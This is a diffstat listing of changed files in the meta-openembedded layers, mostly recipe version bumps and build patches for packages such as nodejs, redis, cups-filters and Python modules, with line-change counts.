-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/cjson/cjson_1.7.15.bb20
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/cjson/cjson_1.7.16.bb40
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/cloc/cloc_1.98.bb (renamed from meta-openembedded/meta-oe/recipes-devtools/cloc/cloc_1.94.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/cpuid/cpuid_20230614.bb (renamed from meta-openembedded/meta-oe/recipes-devtools/cpuid/cpuid_20211129.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/ctags/ctags_6.0.20231119.0.bb (renamed from meta-openembedded/meta-oe/recipes-devtools/ctags/ctags_6.0.20230917.0.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/dnf-plugin-tui/dnf-plugin-tui_git.bb4
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/glade/glade_3.22.2.bb2
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/grpc/grpc/0001-cmake-Link-with-libatomic-on-rv32-rv64.patch12
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/grpc/grpc_1.59.2.bb (renamed from meta-openembedded/meta-oe/recipes-devtools/grpc/grpc_1.56.2.bb)4
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/gst-editing-services/gst-editing-services_1.22.7.bb (renamed from meta-openembedded/meta-oe/recipes-devtools/gst-editing-services/gst-editing-services_1.20.5.bb)4
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/heaptrack/heaptrack_1.2.0.bb2
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/libgee/libgee_0.20.6.bb2
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/luaposix/luaposix_36.2.1.bb (renamed from meta-openembedded/meta-oe/recipes-devtools/luaposix/luaposix_35.1.bb)6
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/mercurial/mercurial_6.5.bb (renamed from meta-openembedded/meta-oe/recipes-devtools/mercurial/mercurial_6.1.bb)5
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/nlohmann-json/files/0001-custom-allocators-define-missing-rebind-type-3895.patch61
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/nlohmann-json/files/0001-tests-unit-iterators2-use-std-ranges-equals-for-rang.patch31
-rwxr-xr-xmeta-openembedded/meta-oe/recipes-devtools/nlohmann-json/files/run-ptest12
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/nlohmann-json/nlohmann-json_3.11.2.bb22
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/nodejs/nodejs/0001-Revert-io_uring-changes-from-libuv-1.46.0.patch3414
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/nodejs/nodejs/0002-Revert-io_uring-changes-from-libuv-1.45.0.patch1803
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/nodejs/nodejs_20.8.1.bb (renamed from meta-openembedded/meta-oe/recipes-devtools/nodejs/nodejs_20.5.1.bb)6
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/openocd/openocd_git.bb2
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/pahole/pahole_1.25.bb (renamed from meta-openembedded/meta-oe/recipes-devtools/pahole/pahole_1.24.bb)3
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/perl/exiftool_12.70.bb22
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/perl/ipc-run_20231003.0.bb (renamed from meta-openembedded/meta-oe/recipes-devtools/perl/ipc-run_20220807.0.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/protobuf/protobuf_4.23.4.bb3
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/sip/sip_6.7.12.bb (renamed from meta-openembedded/meta-oe/recipes-devtools/sip/sip_6.7.11.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/uftrace/uftrace_0.14.bb (renamed from meta-openembedded/meta-oe/recipes-devtools/uftrace/uftrace_0.13.1.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/xmlrpc-c/xmlrpc-c_1.59.01.bb2
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/yajl/yajl/CVE-2017-16516.patch37
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/yajl/yajl/CVE-2022-24795.patch59
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/yajl/yajl/CVE-2023-33460.patch35
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/yajl/yajl_2.1.0.bb6
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/beep/beep_1.4.12.bb (renamed from meta-openembedded/meta-oe/recipes-extended/beep/beep_1.4.9.bb)19
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/beep/files/0001-Do-not-use-Werror-as-it-fails-with-newer-clang-11.patch63
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/beep/files/0001-beep-library-Make-it-compatible-with-c99.patch78
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/brotli/brotli_1.0.9.bb3
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/dialog/dialog_1.3-20231002.bb (renamed from meta-openembedded/meta-oe/recipes-extended/dialog/dialog_1.3-20230209.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/dlt-daemon/dlt-daemon/567.patch36
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/dlt-daemon/dlt-daemon_2.18.10.bb1
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/flatpak/flatpak/0001-flatpak-pc-add-pc_sysrootdir.patch2
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/flatpak/flatpak/0001-meson.build-require-for-native-wayland-scanner.patch28
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/flatpak/flatpak_1.15.6.bb (renamed from meta-openembedded/meta-oe/recipes-extended/flatpak/flatpak_1.15.4.bb)18
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/fluentbit/fluentbit_1.9.7.bb4
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/lastlog2/lastlog2_1.2.0.bb (renamed from meta-openembedded/meta-oe/recipes-extended/lastlog2/lastlog2_1.1.0.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/libbacktrace/libbacktrace_git.bb9
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/libblockdev/libblockdev_3.0.4.bb (renamed from meta-openembedded/meta-oe/recipes-extended/libblockdev/libblockdev_3.03.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/libimobiledevice/libplist_git.bb4
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/libyang/libyang_2.1.128.bb (renamed from meta-openembedded/meta-oe/recipes-extended/libyang/libyang_2.1.111.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/minifi-cpp/minifi-cpp_0.7.0.bb2
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/networking/mstpd_git.bb27
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/ostree/ostree_2023.7.bb (renamed from meta-openembedded/meta-oe/recipes-extended/ostree/ostree_2023.5.bb)13
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/pmdk/pmdk/0001-pmempool-Match-function-prototypes-of-enum_to_str_fn.patch43
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/pmdk/pmdk_2.0.0.bb (renamed from meta-openembedded/meta-oe/recipes-extended/pmdk/pmdk_1.12.1.bb)5
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/0001-src-Do-not-reset-FINAL_LIBS.patch (renamed from meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/0001-src-Do-not-reset-FINAL_LIBS.patch)0
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/0006-Define-correct-gregs-for-RISCV32.patch (renamed from meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/0006-Define-correct-gregs-for-RISCV32.patch)0
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/GNU_SOURCE-7.patch (renamed from meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/GNU_SOURCE-7.patch)0
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/hiredis-use-default-CC-if-it-is-set.patch (renamed from meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/hiredis-use-default-CC-if-it-is-set.patch)0
-rwxr-xr-xmeta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/init-redis-server (renamed from meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/init-redis-server)0
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/lua-update-Makefile-to-use-environment-build-setting.patch (renamed from meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/lua-update-Makefile-to-use-environment-build-setting.patch)0
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/oe-use-libc-malloc.patch (renamed from meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/oe-use-libc-malloc.patch)0
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/redis.conf (renamed from meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/redis.conf)0
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.2/redis.service (renamed from meta-openembedded/meta-oe/recipes-extended/redis/redis-7.2.1/redis.service)0
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/redis/redis_7.2.2.bb (renamed from meta-openembedded/meta-oe/recipes-extended/redis/redis_7.2.1.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/rsyslog/libfastjson_1.2304.0.bb (renamed from meta-openembedded/meta-oe/recipes-extended/rsyslog/libfastjson_0.99.9.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-extended/wtmpdb/wtmpdb_0.9.3.bb (renamed from meta-openembedded/meta-oe/recipes-extended/wtmpdb/wtmpdb_0.7.1.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-gnome/atk/atkmm-2.36_2.36.2.bb1
-rw-r--r--meta-openembedded/meta-oe/recipes-gnome/atk/atkmm_2.28.2.bb1
-rw-r--r--meta-openembedded/meta-oe/recipes-gnome/gcab/gcab_1.6.bb (renamed from meta-openembedded/meta-oe/recipes-gnome/gcab/gcab_1.4.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-gnome/gcr/gcr3_3.41.1.bb4
-rw-r--r--meta-openembedded/meta-oe/recipes-gnome/gmime/gmime_3.2.13.bb1
-rw-r--r--meta-openembedded/meta-oe/recipes-gnome/gnome-common/gnome-common_3.18.0.bb1
-rw-r--r--meta-openembedded/meta-oe/recipes-gnome/gnome-themes/adw-gtk3_5.1.bb (renamed from meta-openembedded/meta-oe/recipes-gnome/gnome-themes/adw-gtk3_4.9.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-gnome/gnome-themes/gnome-themes-extra_3.28.bb1
-rw-r--r--meta-openembedded/meta-oe/recipes-gnome/gtk+/gtkmm3_3.24.7.bb1
-rw-r--r--meta-openembedded/meta-oe/recipes-gnome/gtk+/gtkmm_2.24.5.bb1
-rw-r--r--meta-openembedded/meta-oe/recipes-gnome/libpeas/libpeas_1.36.0.bb1
-rw-r--r--meta-openembedded/meta-oe/recipes-gnome/vte9/vte9.inc18
-rw-r--r--meta-openembedded/meta-oe/recipes-gnome/vte9/vte9_0.28.2.bb12
-rw-r--r--meta-openembedded/meta-oe/recipes-gnome/vte9/vte9_0.74.1.bb30
-rw-r--r--meta-openembedded/meta-oe/recipes-graphics/cairo/cairomm-1.16_1.18.0.bb (renamed from meta-openembedded/meta-oe/recipes-graphics/cairo/cairomm-1.16_1.16.2.bb)3
-rw-r--r--meta-openembedded/meta-oe/recipes-graphics/cairo/cairomm_1.14.3.bb1
-rw-r--r--meta-openembedded/meta-oe/recipes-graphics/feh/feh_3.10.1.bb (renamed from meta-openembedded/meta-oe/recipes-graphics/feh/feh_3.10.bb)4
-rw-r--r--meta-openembedded/meta-oe/recipes-graphics/imlib2/imlib2_git.bb8
-rw-r--r--meta-openembedded/meta-oe/recipes-graphics/libdecor/libdecor_0.2.0.bb (renamed from meta-openembedded/meta-oe/recipes-graphics/libdecor/libdecor_0.1.99.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-graphics/lvgl/lv-drivers.inc2
-rw-r--r--meta-openembedded/meta-oe/recipes-graphics/lvgl/lvgl_8.3.10.bb (renamed from meta-openembedded/meta-oe/recipes-graphics/lvgl/lvgl_8.3.9.bb)4
-rw-r--r--meta-openembedded/meta-oe/recipes-graphics/neatvnc/neatvnc_0.7.1.bb (renamed from meta-openembedded/meta-oe/recipes-graphics/neatvnc/neatvnc_git.bb)6
-rw-r--r--meta-openembedded/meta-oe/recipes-graphics/openbox/openbox_3.6.1.bb2
-rw-r--r--meta-openembedded/meta-oe/recipes-graphics/openjpeg/openjpeg_2.5.0.bb2
-rw-r--r--meta-openembedded/meta-oe/recipes-graphics/pango/pangomm-2.48_2.50.1.bb1
-rw-r--r--meta-openembedded/meta-oe/recipes-graphics/pango/pangomm_2.46.2.bb1
-rw-r--r--meta-openembedded/meta-oe/recipes-graphics/tesseract/tesseract_5.3.3.bb (renamed from meta-openembedded/meta-oe/recipes-graphics/tesseract/tesseract_5.3.2.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-graphics/xorg-app/xkbutils_1.0.5.bb2
-rw-r--r--meta-openembedded/meta-oe/recipes-graphics/xorg-app/xsetroot_1.1.2.bb1
-rw-r--r--meta-openembedded/meta-oe/recipes-graphics/xorg-app/xterm_388.bb (renamed from meta-openembedded/meta-oe/recipes-graphics/xorg-app/xterm_384.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-kernel/ipmitool/ipmitool/0001-configure-Remove-the-logic-to-download-IANA-PEN-data.patch41
-rw-r--r--meta-openembedded/meta-oe/recipes-kernel/ipmitool/ipmitool_1.8.19.bb12
-rw-r--r--meta-openembedded/meta-oe/recipes-kernel/libbpf/libbpf_1.2.2.bb (renamed from meta-openembedded/meta-oe/recipes-kernel/libbpf/libbpf_1.2.0.bb)4
-rw-r--r--meta-openembedded/meta-oe/recipes-kernel/makedumpfile/makedumpfile_1.7.4.bb (renamed from meta-openembedded/meta-oe/recipes-kernel/makedumpfile/makedumpfile_1.7.3.bb)7
-rw-r--r--meta-openembedded/meta-oe/recipes-multimedia/jack/jack_1.9.22.bb (renamed from meta-openembedded/meta-oe/recipes-multimedia/jack/jack_1.19.22.bb)11
-rw-r--r--meta-openembedded/meta-oe/recipes-multimedia/webm/libvpx_1.13.1.bb2
-rw-r--r--meta-openembedded/meta-oe/recipes-navigation/geos/geos_3.12.0.bb2
-rw-r--r--meta-openembedded/meta-oe/recipes-navigation/proj/proj_9.3.0.bb (renamed from meta-openembedded/meta-oe/recipes-navigation/proj/proj_9.1.1.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-printing/cups/cups-filters_1.28.17.bb84
-rw-r--r--meta-openembedded/meta-oe/recipes-printing/cups/cups-filters_2.0.0.bb27
-rw-r--r--meta-openembedded/meta-oe/recipes-printing/cups/libcupsfilters/0001-use-noexcept-false-instead-of-throw-from-c-17-onward.patch (renamed from meta-openembedded/meta-oe/recipes-printing/cups/cups-filters/0001-use-noexcept-false-instead-of-throw-from-c-17-onward.patch)14
-rw-r--r--meta-openembedded/meta-oe/recipes-printing/cups/libcupsfilters_2.0.0.bb17
-rw-r--r--meta-openembedded/meta-oe/recipes-printing/cups/libppd_2.0.0.bb18
-rw-r--r--meta-openembedded/meta-oe/recipes-printing/gutenprint/gutenprint_5.3.4.bb (renamed from meta-openembedded/meta-oe/recipes-printing/gutenprint/gutenprint_git.bb)21
-rw-r--r--meta-openembedded/meta-oe/recipes-printing/qpdf/qpdf_10.6.3.bb33
-rw-r--r--meta-openembedded/meta-oe/recipes-printing/qpdf/qpdf_11.6.3.bb31
-rw-r--r--meta-openembedded/meta-oe/recipes-shells/mksh/mksh_59c.bb (renamed from meta-openembedded/meta-oe/recipes-shells/mksh/mksh_59.bb)7
-rw-r--r--meta-openembedded/meta-oe/recipes-support/btop/btop_1.2.13.bb23
-rw-r--r--meta-openembedded/meta-oe/recipes-support/c-ares/c-ares_1.22.1.bb (renamed from meta-openembedded/meta-oe/recipes-support/c-ares/c-ares_1.19.1.bb)4
-rw-r--r--meta-openembedded/meta-oe/recipes-support/ccid/ccid_1.5.4.bb (renamed from meta-openembedded/meta-oe/recipes-support/ccid/ccid_1.5.2.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-support/ceres-solver/ceres-solver_2.2.0.bb (renamed from meta-openembedded/meta-oe/recipes-support/ceres-solver/ceres-solver_2.1.0.bb)4
-rw-r--r--meta-openembedded/meta-oe/recipes-support/cpulimit/cpulimit_0.2.bb1
-rw-r--r--meta-openembedded/meta-oe/recipes-support/crucible/crucible_2023.11.02.bb (renamed from meta-openembedded/meta-oe/recipes-support/crucible/crucible_2023.04.12.bb)6
-rw-r--r--meta-openembedded/meta-oe/recipes-support/edid-decode/edid-decode_git.bb2
-rw-r--r--meta-openembedded/meta-oe/recipes-support/freerdp/freerdp_2.11.2.bb (renamed from meta-openembedded/meta-oe/recipes-support/freerdp/freerdp_2.11.1.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-support/function2/function2_4.2.4.bb (renamed from meta-openembedded/meta-oe/recipes-support/function2/function2_4.2.3.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-support/googlebenchmark/googlebenchmark_1.8.3.bb (renamed from meta-openembedded/meta-oe/recipes-support/googlebenchmark/googlebenchmark_1.8.0.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-support/hdf5/hdf5_1.14.2.bb6
-rw-r--r--meta-openembedded/meta-oe/recipes-support/hwdata/hwdata_0.376.bb (renamed from meta-openembedded/meta-oe/recipes-support/hwdata/hwdata_0.370.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-support/idevicerestore/idevicerestore_git.bb2
-rw-r--r--meta-openembedded/meta-oe/recipes-support/libbytesize/libbytesize_2.10.bb (renamed from meta-openembedded/meta-oe/recipes-support/libbytesize/libbytesize_2.9.bb)4
-rw-r--r--meta-openembedded/meta-oe/recipes-support/libeigen/libeigen_3.4.0.bb2
-rw-r--r--meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod-2.x/run-ptest2
-rw-r--r--meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod.inc3
-rw-r--r--meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod_1.6.4.bb8
-rw-r--r--meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod_2.1.bb (renamed from meta-openembedded/meta-oe/recipes-support/libgpiod/libgpiod_2.0.2.bb)7
-rw-r--r--meta-openembedded/meta-oe/recipes-support/libosinfo/libosinfo_1.11.0.bb (renamed from meta-openembedded/meta-oe/recipes-support/libosinfo/libosinfo_1.10.bb)6
-rw-r--r--meta-openembedded/meta-oe/recipes-support/libraw/libraw_0.21.1.bb (renamed from meta-openembedded/meta-oe/recipes-support/libraw/libraw_0.20.2.bb)4
-rw-r--r--meta-openembedded/meta-oe/recipes-support/libsmi/libsmi_0.5.0.bb8
-rw-r--r--meta-openembedded/meta-oe/recipes-support/mcelog/mcelog_196.bb (renamed from meta-openembedded/meta-oe/recipes-support/mcelog/mcelog_194.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-support/multipath-tools/multipath-tools_0.9.3.bb2
-rw-r--r--meta-openembedded/meta-oe/recipes-support/opencv/opencv/fix-build-with-protobuf-v22.patch385
-rw-r--r--meta-openembedded/meta-oe/recipes-support/poco/poco/0001-Fix-data-race-when-create-POSIX-thread.patch33
-rw-r--r--meta-openembedded/meta-oe/recipes-support/poco/poco_1.12.4.bb1
-rw-r--r--meta-openembedded/meta-oe/recipes-support/re2/re2/run-ptest3
-rw-r--r--meta-openembedded/meta-oe/recipes-support/re2/re2_2023.03.01.bb16
-rw-r--r--meta-openembedded/meta-oe/recipes-support/remmina/remmina_1.4.33.bb (renamed from meta-openembedded/meta-oe/recipes-support/remmina/remmina_1.4.32.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-support/reptyr/reptyr_0.10.0.bb29
-rw-r--r--meta-openembedded/meta-oe/recipes-support/smarty/smarty_4.3.4.bb (renamed from meta-openembedded/meta-oe/recipes-support/smarty/smarty_4.3.0.bb)4
-rw-r--r--meta-openembedded/meta-oe/recipes-support/tio/tio_2.7.bb (renamed from meta-openembedded/meta-oe/recipes-support/tio/tio_2.6.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-support/toscoterm/toscoterm_git.bb29
-rw-r--r--meta-openembedded/meta-oe/recipes-support/vboxguestdrivers/vboxguestdrivers/0001-vbox_fb-fix-kernel-v6.5-build.patch50
-rw-r--r--meta-openembedded/meta-oe/recipes-support/vboxguestdrivers/vboxguestdrivers_7.0.12.bb (renamed from meta-openembedded/meta-oe/recipes-support/vboxguestdrivers/vboxguestdrivers_7.0.10.bb)5
-rw-r--r--meta-openembedded/meta-oe/recipes-support/webkitgtk/webkitgtk3_2.42.2.bb (renamed from meta-openembedded/meta-oe/recipes-support/webkitgtk/webkitgtk3_2.42.0.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-support/xdg-desktop-portal/xdg-desktop-portal_1.18.1.bb (renamed from meta-openembedded/meta-oe/recipes-support/xdg-desktop-portal/xdg-desktop-portal_1.18.0.bb)3
-rw-r--r--meta-openembedded/meta-oe/recipes-support/xmlsec1/xmlsec1/0001-xmldsigverify-Include-xmlsec-parser.h.patch43
-rwxr-xr-xmeta-openembedded/meta-oe/recipes-support/xmlsec1/xmlsec1/run-ptest4
-rw-r--r--meta-openembedded/meta-oe/recipes-support/xmlsec1/xmlsec1_1.3.2.bb (renamed from meta-openembedded/meta-oe/recipes-support/xmlsec1/xmlsec1_1.2.37.bb)19
-rw-r--r--meta-openembedded/meta-oe/recipes-support/zchunk/zchunk_1.3.2.bb (renamed from meta-openembedded/meta-oe/recipes-support/zchunk/zchunk_1.3.1.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-test/catch2/catch2_2.13.10.bb (renamed from meta-openembedded/meta-oe/recipes-test/catch2/catch2_2.13.7.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-test/shunit2/shunit2_2.1.8.bb13
-rw-r--r--meta-openembedded/meta-perl/conf/include/ptest-packagelists-meta-perl.inc1
-rw-r--r--meta-openembedded/meta-perl/recipes-core/packagegroups/packagegroup-meta-perl.bb1
-rw-r--r--meta-openembedded/meta-perl/recipes-perl/libcgi/libcgi-perl_4.60.bb (renamed from meta-openembedded/meta-perl/recipes-perl/libcgi/libcgi-perl_4.57.bb)2
-rw-r--r--meta-openembedded/meta-perl/recipes-perl/libconfig-tiny/libconfig-tiny-perl_2.30.bb (renamed from meta-openembedded/meta-perl/recipes-perl/libconfig-tiny/libconfig-tiny-perl_2.29.bb)2
-rw-r--r--meta-openembedded/meta-perl/recipes-perl/libconfig/libconfig-autoconf-perl_0.319.bb2
-rw-r--r--meta-openembedded/meta-perl/recipes-perl/libdb/libdbd-sqlite-perl_1.74.bb (renamed from meta-openembedded/meta-perl/recipes-perl/libdb/libdbd-sqlite-perl_1.72.bb)2
-rw-r--r--meta-openembedded/meta-perl/recipes-perl/libencode/libencode-perl_3.20.bb (renamed from meta-openembedded/meta-perl/recipes-perl/libencode/libencode-perl_3.19.bb)2
-rw-r--r--meta-openembedded/meta-perl/recipes-perl/libextutils/libextutils-cppguess-perl_0.27.bb (renamed from meta-openembedded/meta-perl/recipes-perl/libextutils/libextutils-cppguess-perl_0.26.bb)2
-rw-r--r--meta-openembedded/meta-perl/recipes-perl/libio/libio-socket-ssl-perl_2.084.bb (renamed from meta-openembedded/meta-perl/recipes-perl/libio/libio-socket-ssl-perl_2.083.bb)4
-rw-r--r--meta-openembedded/meta-perl/recipes-perl/libmodule/libmodule-build-tiny-perl_0.047.bb (renamed from meta-openembedded/meta-perl/recipes-perl/libmodule/libmodule-build-tiny-perl_0.046.bb)4
-rw-r--r--meta-openembedded/meta-perl/recipes-perl/libnet/libnet-dns-perl_1.40.bb1
-rw-r--r--meta-openembedded/meta-perl/recipes-perl/libnet/libnet-idn-encode/Net-IDN-Encode-2.500-use_uvchr_to_utf8_flags_instead_of_uvuni_to_utf8_flags.patch36
-rw-r--r--meta-openembedded/meta-perl/recipes-perl/libnet/libnet-idn-encode_2.500.bb6
-rw-r--r--meta-openembedded/meta-perl/recipes-perl/libnet/libnet-ldap-perl_0.68.bb2
-rw-r--r--meta-openembedded/meta-perl/recipes-perl/libstatgrab/libunix-statgrab_0.112.bb1
-rw-r--r--meta-openembedded/meta-perl/recipes-perl/libtest/libtest-harness-perl_3.48.bb (renamed from meta-openembedded/meta-perl/recipes-perl/libtest/libtest-harness-perl_3.47.bb)2
-rw-r--r--meta-openembedded/meta-perl/recipes-perl/libtext/libtext-diff-perl/run-ptest19
-rw-r--r--meta-openembedded/meta-perl/recipes-perl/libtext/libtext-diff-perl_1.41.bb11
-rw-r--r--meta-openembedded/meta-perl/recipes-perl/po4a/po4a_0.49.bb33
-rw-r--r--meta-openembedded/meta-python/conf/include/ptest-packagelists-meta-python.inc5
-rw-r--r--meta-openembedded/meta-python/recipes-connectivity/python-thrift/python3-thrift_0.16.0.bb2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python-jsonref/files/migrate-to-pdm-backend.patch27
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python-jsonref/python3-jsonref_1.0.1.bb16
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python-jsonref/python3-jsonref_1.1.0.bb23
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-aiodns_3.1.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-aiodns_3.0.0.bb)3
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-aiohttp-jinja2_1.5.1.bb2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-aiohttp_3.9.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-aiohttp_3.8.5.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-alembic_1.12.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-alembic_1.12.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-aniso8601_9.0.1.bb8
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-argcomplete_3.1.6.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-argcomplete_3.1.2.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-argh_0.30.4.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-argh_0.29.4.bb)5
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-arrow_1.3.0.bb13
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-astroid_3.0.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-astroid_3.0.0.bb)4
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-asttokens_2.4.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-asttokens_2.4.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-autobahn_23.6.2.bb2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-awesomeversion_23.11.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-awesomeversion_23.8.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-bandit_1.7.5.bb2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-bitarray_2.8.3.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-bitarray_2.8.1.bb)5
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-bitstruct_8.19.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-bitstruct_8.17.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-blinker_1.7.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-blinker_1.6.2.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-cachetools_5.3.2.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-cachetools_5.3.1.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-can_4.2.2.bb2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-cantools_39.3.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-cantools_39.2.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-cbor2_5.5.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-cbor2_5.4.6.bb)3
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-charset-normalizer_3.3.2.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-charset-normalizer_3.2.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-cmake_3.27.7.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-cmake_3.27.5.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-colorclass_2.2.2.bb17
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-covdefaults_2.3.0.bb2
